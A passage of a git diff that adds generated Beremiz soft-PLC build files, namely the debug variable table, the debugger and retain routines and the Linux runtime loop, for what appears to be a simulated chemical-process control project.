+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 